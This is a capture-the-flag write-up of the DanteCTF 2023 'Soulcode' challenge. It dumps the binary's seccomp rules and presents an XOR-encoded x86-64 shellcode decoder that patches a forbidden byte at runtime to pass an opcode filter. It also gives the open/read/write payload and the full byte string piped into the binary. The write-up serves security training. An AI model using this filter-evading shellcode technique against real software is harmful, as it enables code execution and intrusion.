Soulcode

by sunbather / .hidden

Tags: obfuscator pwn asm

Rating:

Soulcode

The challenge consisted of bypassing various filters to run a shellcode.

Main function decompiled

```
bool main(void)

{
  int iVar1;
  long lVar2;
  undefined8 *puVar3;
  byte bVar4;
  undefined8 local_208;
  undefined8 local_200;
  undefined8 local_1f8 [62];

  bVar4 = 0;
  puts("Before you leave the realm of the dead you must leave a message for posterity!");
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_208 = 0;
  local_200 = 0;
  puVar3 = local_1f8;
  for (lVar2 = 0x3c; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
  }
  *(undefined4 *)puVar3 = 0;
  read_string(&local_208,500,(undefined4 *)((long)puVar3 + 4)); // READ SHELLCODE FROM USER
  filter(&local_208,4);                                         // FILTER BAD OPCODES
  iVar1 = install_syscall_filter();                             // FILTER BAD SYSCALLS
  if (iVar1 == 0) {
    (*(code *)&local_208)();                                    // RUN SHELLCODE
  }
  return iVar1 != 0;
}
```

You can determine the 3 distinct, important steps that the program does:

1. Read shellcode from user.
2. Filter bad opcodes using the `filter()` function.
3. Filter bad syscalls using seccomp in `install_syscall_filter()`.
4. Run shellcode.

The idea of the challenge was trying to bypass these filters. The forbidden opcodes/bytes were: `0xCD`, `0x80`, `0x0F`, `0x05`, `0x89`.

Using `seccomp-tools dump ./soulcode` (tool: seccomp-tools), we can determine the seccomp-filters are:

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL
```

WARNING: The tool runs the executable, don't use with malware!!!

We can see the only syscalls we are allowed are `open`, `read`, `write` and `exit`. This is enough to guess that we might have a `flag.txt` in the same directory and try to write its contents to stdout. The alternative to the tool was manually reading the `install_syscall_filter()` function and determining the filters, which sucks and nobody wants to do it.

The solution

Our initial thought was that we have to bypass the forbidden opcodes. We didn't check the opcodes meaning, as there could have been a big number of instructions that containted them. So instead, we thought we can write a shellcode encrypter/decrypter that can decrypt a payload and run it. By having an encrypted payload we can use an arbitrary number of "forbidden" bytes and we only have to care to use permitted bytes in the code for the decrypter. During the CTF, we have taken the liberty to use an encrypter/decrypter (or encoder/decoder) found online, after modifying to fit the situation.

Credits to ired.team for most of the shellcode encoder/decoder: https://www.ired.team/offensive-security/code-injection-process-injection/writing-custom-shellcode-encoders-and-decoders

The interesting additions to the encoder is the `xor_op` label - the xorb operation we used there had a `0x80` byte in it, which is forbidden. To avoid that we substract one from the byte and then we add one at the beginning of the encoder, at runtime. This will pass the filters succesfully. Also, the encryption key `0xc`, is picked with trial and error after checking for forbidden bytes after encryption.

```
.global _start
.intel_syntax noprefix
_start:
    # deobfuscate xor_op
    xor rsi, rsi
    movb sil, [rip+xor_op+1]
    inc sil
    movb [rip+xor_op+1], sil
    jmp short shellcode

decoder:
    pop rax                 # store encodedShellcode address in rax - this is the address that we will jump to once all the bytes in the encodedShellcode ha
ve been decoded

setup:
    xor rcx, rcx            # reset rcx to 0, will use this as a loop counter
    mov rdx, 95

decoderStub:
    cmp rcx, rdx            # check if we've iterated and decoded all the encoded bytes
    je encodedShellcode     # jump to the encodedShellcode, which actually now contains the decoded shellcode

    # encodedShellcode bytes are being decoded here per our decoding scheme
    xor rdi, rdi
    movb dil, [rax]
    xor_op: .byte 0x40, 0x7f, 0xf7, 0x0c # obfuscated xor op
    movb [rax], dil

    inc rax                 # point rax to the next encoded byte in encodedShellcode
    inc rcx                 # increase loop counter
    jmp short decoderStub   # repeat decoding procedure

shellcode:
    call decoder            # jump to decoder label. This pushes the address of encodedShellcode to the stack (to be popped into rax as the first instructio
n under the decoder label)
    encodedShellcode: .byte 0x44, 0xcb, 0xcc, 0xe, 0xc, 0xc, 0xc, 0x44, 0x81, 0x31, 0x3a, 0xc, 0xc, 0xc, 0x44, 0x3d, 0xfa, 0x44, 0x3d, 0xde, 0x3, 0x9, 0x44,
0x85, 0xcb, 0x44, 0x3d, 0xcc, 0x44, 0x85, 0xea, 0x44, 0xcb, 0xce, 0x4c, 0xc, 0xc, 0xc, 0x3, 0x9, 0x44, 0xcb, 0xcc, 0xd, 0xc, 0xc, 0xc, 0x44, 0xcb, 0xcb, 0x
d, 0xc, 0xc, 0xc, 0x3, 0x9, 0x44, 0xcb, 0xcc, 0x30, 0xc, 0xc, 0xc, 0x44, 0x3d, 0xf3, 0x3, 0x9, 0x6a, 0x60, 0x6d, 0x6b, 0x22, 0x78, 0x74, 0x78, 0xc
```

The encoded shellcode/payload is simply open `flag.txt`, read and write to stdout, then exit:

```
.global _start
.intel_syntax noprefix
_start:
open:
    mov rax, 0x2
    lea rdi, [rip+flag]
    xor rsi, rsi
    xor rdx, rdx
    syscall

read:
    mov rdi, rax
    xor rax, rax
    mov rsi, rsp
    mov rdx, 0x40
    syscall

write:
    mov rax, 0x1
    mov rdi, 0x1
    syscall

exit:
    mov rax, 0x3c
    xor rdi, rdi
    syscall


flag:
    .string "flag.txt"
```

Then we get the shellcode for everything (check out getsc) and we end up with the following payload:

```
\x48\x31\xf6\x40\x8a\x35\x23\x00\x00\x00\x40\xfe\xc6\x40\x88\x35\x19\x00\x00\x00\xeb\x25\x58\x48\x31\xc9\x48\xc7\xc2\x5f\x00\x00\x00\x48\x39\xd1\x74\x1a\x48\x31\xff\
```

We then run the payload:

```
$ echo -ne "\x48\x31\xf6\x40\x8a\x35\x23\x00\x00\x00\x40\xfe\xc6\x40\x88\x35\x19\x00\x00\x00\xeb\x25\x58\x48\x31\xc9\x48\xc7\xc2\x5f\x00\x00\x00\x48\x39\xd1\x74\x1a\x48\x31\xff\x40\x8a\x38\x40\x7f\xf7\x0c\x40\x88\x38\x48\xff\xc0\x48\xff\xc1\xeb\xe6\xe8\xd6\xff\xff\xff\x44\xcb\xcc\x0e\x0c\x0c\x0c\x44\x81\x31\x3a\x0c\x0c\x0c\x44\x3d\xfa\x44\x3d\xde\x03\x09\x44\x85\xcb\x44\x3d\xcc\x44\x85\xea\x44\xcb\xce\x4c\x0c\x0c\x0c\x03\x09\x44\xcb\xcc\x0d\x0c\x0c\x0c\x44\xcb\xcb\x0d\x0c\x0c\x0c\x03\x09\x44\xcb\xcc\x30\x0c\x0c\x0c\x44\x3d\xf3\x03\x09\x6a\x60\x6d\x6b\x22\x78\x74\x78\x0c" | ./soulcode
Before you leave the realm of the dead you must leave a message for posterity!
DANTE{.hidden_is_the_best}

```

Original writeup (https://dothidden.xyz/dantectf_2023/soulcode/).

Comments